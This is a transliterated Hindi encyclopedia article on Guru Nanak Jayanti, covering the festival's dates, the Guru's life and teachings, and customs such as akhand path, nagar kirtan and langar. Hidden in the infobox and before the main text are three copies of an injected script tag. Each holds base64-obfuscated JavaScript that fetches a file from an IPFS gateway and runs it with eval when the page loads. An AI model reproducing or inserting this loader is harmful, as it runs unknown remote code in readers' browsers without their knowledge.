गुरु नानक जयंती
guru nanak jayanti
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| vivaran | guru nanak jayanti ko prakash utsav ke roop mean bhi jana jata hai. yah sikkhoan ke pahale guru, guru nanak dev ke janm ke upalakshy mean manaya jata hai. |
| any nam | guruparv, prakash utsav |
| desh | bharat |
| kshetr | panjab (sampoorn bharat mean sikkh samuday dvara manaya jata hai) |
| tithi | kartik poornima |
| 2022 | 8 navanbar (mangalavar) |
| 2023 | 27 navanbar (somavar) |
| 2024 | 15 navanbar (shukravar) |
| 2025 | 5 navanbar (budhavar) |
| 2026 | 24 navanbar (mangalavar) |
| any janakari | guru nanak jayanti shuroo hone se pahale mukhy sikkh kshetroan mean keandriy sthanoan par lagatar path kiya jata hai; jise akhand path ke roop mean jana jata hai. yah karyakram 48 ghante tak chalata hai. |
| adyatan | 11:01, 27 navambar 2023 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>guru nanak jayanti (aangrezi: Guru Nanak Jayanti) sikkh dharm ke lie ek b da tyohar hai. kartik mas ki amavasya ko divali manaee jati hai aur usake pandrah dinoan bad yani ki kartik poornima ke din 'guru nanak jayanti' ko manaya jata hai. ye parv bhi dipavali ki tarah se manaya jata hai. is parv ki log mahinoan pahale se taiyari shuroo kar dete haian. guru nanak jayanti par dhol-manjiroan ke sath prabhat pheriyaan nikali jati haian. guru nanak jayanti ko prakash parv bhi kahate haian. yahi karan hai ki guru nanak dev ki jayanti ke mauke par charoan or dip jalakar roshani ki jati hai. is khas din ko guru nanak dev ke janm ki khushi mean manaya jata hai.
itihas
guru nanak dev sikkh dharm ke pahale guru the. unaka janm 1469 ee. ko hua tha. nanak ji ka janm 1469 mean kartik poornima ko panjab (ab pakistan) kshetr mean ravi nadi ke kinare sthit talavandi namak gaanv mean hua. halaanki ab guru nanak ji ka ye janm sthal pakistan ke panjab praant mean maujood nanakana sahib mean hai. is jagah ka nam nanak dev ke nam se jana jata hai. yahaan desh videsh se log charchit gurudvara nanakana sahib ke darshan ke lie ate haian. kahate haian ki sikkh samrajy ke raja maharaja ranajit sianh ne yah gurudvara ‘nanakana sahib’ banavaya tha.
kaun the guru nanak
guru nanak dev ne moorti pooja ko nirarthak mana aur hamesha hi roodhiyoan aur kusanskaroan ke virodh mean rahe. kaha jata hai ki guru nanak ji ne hi sikkh samaj ki nianv rakhi thi. sikkh samuday ke guru nanak dev ji pahale guru the. is karan se hi unaki vishesh roop se pooja archana ki jati hai. guru nanak dev ko unake bhakt nanak dev, baba nanak aur nanakashah ke nam se pukarate haian. itana hi nahian, kaha jata hai ki laddakh aur tibbat kshetr mean 'nanak lama' bhi kaha jata hai. nanak ji ki mrityu 22 sitanbar, 1539 eesvi ko huee. unhhoanne apani mrityu se pahale apane shishy bhaee lahana ko apana uttaradhikari banaya, jo bad mean guru aangad dev nam se jane ge.
jivan aur siddhaant
is bat ko achchhi tarah se samajhane ke lie ki yah utsav kee bharatiyoan logoan ke lie itana pavitr kyoan hai, is bat ko samajhana bahut avashyak hai ki nanak ji ke karyoan ne bharat ke sanpoorn itihas ko kaise akar diya. san 1469 mean guru nanak ke janm se pahale bharat ko mool roop se jati pratha ke roop mean jani jane vali samajik shreni dvara paribhashit kiya jata tha. is pratha ki vajah se garib log garib hi rahate the aur amir log nirantar roop se apani shakti ko vistarit karate the. guru nanak ji ne yah samajh liya tha ki yah pratha galat hai, isalie unhoanne isase l dane ke lie apana jivan samarpit kar diya.
atyadhik dhyan aur atm-chiantan ke bad guru nanak ko ek svapn aya jisane unhean paramatma ka sachcha uddeshy dikhaya. is svapn ke anusar, paramatma se ju dane ke lie aupacharik sansthan aur jati pratha avashyak nahian hai. guru nanak ke svapn ka moolabhoot pahaloo yah tha ki sabhi manushyoan ka paramatma se sidha sanpark hai. isake bad guru nanak dev ne pujariyoan aur jati pratha ko asvikar kar diya. guru nanak ne hindoo dharm ke pavitr granth, vedoan ka jnan lene se bhi mana kar diya.
sabase pahale, guru nanak ko vidharmi ke roop mean mana gaya jisane paramatma ko asvikar kiya tha. is sthiti mean tab parivartan hua jab dalitoan aur nimn varg ke logoan ko yah anubhav hua ki guru nanak ke siddhaant ke aantargat unaka jivan jyada behatar ho sakata hai. isake bad jaldi hi guru nanak ko kee logoan ke dvara ek nayak ke roop mean dekha jane laga. guru nanak ne apane anuyayiyoan ko yah shiksha bhi di ki upavas aur tirthasthaloan jaise paranparik sadhanoan ke madhyam se parameshvar se nahian ju da ja sakata hai. unhoanne apane anuyayiyoan ko naitik jivan ka anand uthate hue prarthana ke madhyam se paramatma se ju dane ki salah di. jati pratha ko nasht karane ke bad guru nanak pujariyoan aur mugal shasakoan ke rajanaitik shatru ban ge. mugal raja babar ko chunauti dene ke karan guru nanak ko bandi bana liya gaya. guru nanak ne sikkh dharm ki sthapana ki. unaki mrityu ke pashchat guru nanak ki buddhimata aur bhavana nau sikkh guruoan ko mili.[1]
guruji ki 10 shikshaean
- param-pita parameshvar ek hai.
- hamesha ek eeshvar ki sadhana mean man lagao.
- duniya ki har jagah aur har prani mean eeshvar maujood haian.
- eeshvar ki bhakti mean lin logoan ko kisi ka dar nahian satata.
- eemanadari aur mehanat se pet bharana chahie.
- bura kary karane ke bare mean n sochean aur n hi kisi ko satayean.
- hamesha khush rahana chahie, eeshvar se sada apane lie kshama yachana karean.
- mehanat aur eemanadari ki kamaee mean se jaroorat mand ki sahayata karean.
- sabhi ko saman nazarie se dekhean, stri-purush saman haian.
- bhojan sharir ko jivit rakhane ke lie avashyak hai. parantu lobh-lalach ke lie sangrah karane ki adat buri hai.
utsav ki gatividhiyaan
guru nanak dev ke jivan aur shikshaoan ko yad karane ke lie sikkh aur any bharatiy kee gatividhiyoan mean hissa lete haian.[1]
akhand path
guru nanak jayanti shuroo hone se pahale, mukhy sikkh kshetroan mean keandriy sthanoan par lagatar path kiya jata hai. jise akhand path ke roop mean jana jata hai, yah karyakram 48 ghante tak chalata hai. akhand path ke dauran, sikkh dharm ki pavitr pustak guru granth sahib ki kuchh sabase mahatvapoorn kavitaoan ka path kiya jata hai. kee bar, sikkh log prarthana ka jap bhi karate haian. is utsav ke lie sabase lokapriy prarthanaean japaji sahib aur siddh gosh hai.
nagar kirtan
utsav se ek din pahale, sikkh samuday ke log nagar kirtan mean hissa lete haian, jo ek jivant juloos hai jo duniya bhar ke logoan ko akarshit karata hai. yah juloos paanch logoan aur ek sikkh jhande ke sath nikala jata hai. is juloos mean gitakar, koriyographar aur marshal artist bhi shamil hote haian. jin margoan par yah karyakram hota hai unhean aksar vibhinn bainaroan aur phooloan se sajaya jata hai.
langar
kartik mas ki poornima ke din guru nanak jayanti manane vale log apane dostoan aur parivar ke sadasyoan ke sath mupht samudayik bhojan ka anand utha sakate haian. bhojan ke bad, sikkh sham ki prarthanaoan mean shamil hote haian. guru nanak jayanti ek shaantipoorn utsav hai jo logoan ko guru nanak aur bharatiy jati pratha ko samapt karane ki unaki ichchha ki yad dilata hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 guru nanak jayanti (hiandi) publicholidays.in. abhigaman tithi: 30 julaee, 2022.
sanbandhit lekh